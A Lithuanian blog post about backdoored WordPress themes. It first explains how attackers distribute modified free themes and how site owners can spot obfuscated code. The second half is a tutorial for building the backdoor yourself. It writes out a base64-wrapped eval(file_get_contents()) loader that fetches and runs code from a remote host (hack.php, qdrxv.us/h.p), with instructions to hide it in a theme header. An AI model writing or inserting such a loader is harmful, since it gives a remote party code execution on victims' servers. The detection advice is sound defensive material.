Ne vieną kartą teko girdėti, o kartą ir pačiam išvysti, kaip atrodo hakerių nulaužtos WordPress temos. Šio straipsnio tikslas yra išmokyti jus atpažinti tokias pavojingas temas [šablonus, kaip kiti vadina], paaiškinti, kaip jos veikia, ir… šiek tiek pamokyti jus pačius nulaužinėti WordPress temas (aš pats to niekada nedariau ir tikrai (turbūt) nedarysiu, tačiau šis principas visai įdomus, taigi kodėl jo neišmokus? (: )
Kas tai?
Pirma, kas tai, kaip tai veikia ir kaip tai atpažįstama. Būdas, apie kurį kalbu (jų, žinoma, yra ne vienas), veikia taip:
- Laužėjas parsisiunčia populiariausias WordPress temas ir jas pakeičia, įterpdamas specialų PHP kodą (kodo pavyzdžiai bus žemiau).
- Jis sukuria kokį nors puslapį, kurioje talpina tas temas, neužsimindamas apie jokias modifikacijas. Tie puslapiai dažniausiai vadinasi “Best free WordPress themes” ar kažkas panašaus. Failai talpinami pačiame laužėjo serveryje, o temos autorius apie tokių puslapių egzistavimą dažniausiai nežino.
- Laužėjo puslapis greitai tampa populiarus, nes dažnas žmogus Googlyje ieško būtent tokių raktinių žodžių (best free wordpress themes).
- Žmonės parsisiunčia infekuotas temas, jas pradeda naudoti savo puslapiuose, laužėjo kodas pakraunamas kiekvieną kartą ir modifikuoja temą parsisiuntusio žmogaus svetainę jam nieko net nežinant (dažniausiai tiesiog įterpia daug nematomų nuorodų taip keldamas savo puslapių reitingą ir neretai žlugdydamas nekaltų žmonių puslapių vertę Google akyse)
Kaip tas kodas atrodo ir kaip jis atpažįstamas?
Dažniausiai kodas atrodo kaip visiška nesąmonė, raidžių košė, ir PHP nesuprantantys eiliniai vartotojai tiesiog bijo ką nors daryti, nes dar ką nors sugadintų… Ta makaliošė atrodo, pavyzdžiui, taip:
1 | @eval(@base64_decode('QGV2YWwoQGZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwOi8vbGVrZXZpY2l1cy5sdC9oYWNrLnBocCIpKTs=')); |
Tai gana sudėtingas kodas, kuriame yra daug PHP kalbai specifinių dalykų, bet prieš gilinantis į konkretų veikimą, labai trumpai, ką šitas kodas iš tiesų padaro: jis iškoduoja šitą raizgalynę, ir paaiškėja, kad po ja slepiasi komanda parsiųsti nurodyto failo turinį ir jį įvykdyti. Tai yra failas laužėjo serveryje, ir bet koks to failo turinys yra įvykdomas nieko nežinančio žmogaus serveryje. Dar gerai, kai tas kodas tik prideda nuorodų… galėtų ištrinti ir visą WordPress sistemą…
Yra keli būdai kaip jį atpažinti ir išvengti visokių bėdų:
- Temas siųskis tik iš kūrėjo puslapio. Geriausia, jog tai būtų patikimas ir santykinai žinomas autorius, nes gali atsirasti tokių, kurie kurs naujas temas specialiai dėl piktų kėslų.
- Dėl viso pikto permesk akimis temų failus ir pasižiūrėk, ar nėra tokių raidžių raizgalų. Jei yra — jokiu būdu nenaudok tos temos.
- Ir trečias būdas — klausyk, ką dūzgia blogosfera, WordPress oficialus ir kiti su šia sistema susiję blogai. Taip apie pavojų būsi įspėtas gana anksti, manau (:
Kaip pačiam paslėpti piktąjį kodą?
Žinau, kad laukei šitos dalies (: Jai reikės šiek tiek žinių, o ypač daug PHP žinių reikės rašant patį savo kenkėjišką kodą (čia jau patarimų neduosiu).
Pirma, mums reikės interneto serverio. Dauguma jį turi. Toliau reikės interneto adreso. Šitą turi visi, kas turi serverį. Jeigu nori būti „profesionalus niekšas”, tuomet adresas turėtų būti kuo trumpesnis. Tarkim, qdrxv.us ar kažkas panašaus. Prasmės jam visai nereikia. Kai viską turi, įkelk savo kenkėjišką kodą į failą su labai trumpu pavadinimu (tarkim, h.p). PHP galūnė faile nebūtina, o pačiame faile neturi būti <?php ir ?> ženklų. Tarkime, tavo blogio failas http://qdrxv.us/h.p atrodo taip:
1 | print "labas"; |
Pirma dalis padaryta. Dabar reikia šią komandą užkoduoti. Paleidę tokią PHP komandą
1 | print base64_encode('@eval(@file_get_contents("http://qdrxv.us/h.p"));'); |
gauname mums labai reikalingą raizgalą. Tada tą raizgalą įstatome į šią vietą:
1 | @eval(@base64_decode('QGV2YWwoQGZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwOi8vcWRyeHYudXMvaC5wIikpOw==')); |
Šis kodas ir yra tas, kurį reikia paslėpti tarp temos failų. Geriausia dėti kur nors headeryje (: Siūlau pasibandyti, kokios yra tavo galimybės, kas veikia ir kas ne, bet pats principas toks. Laikas maniakiškui juokui: muahahahaha!




















9 nuomonės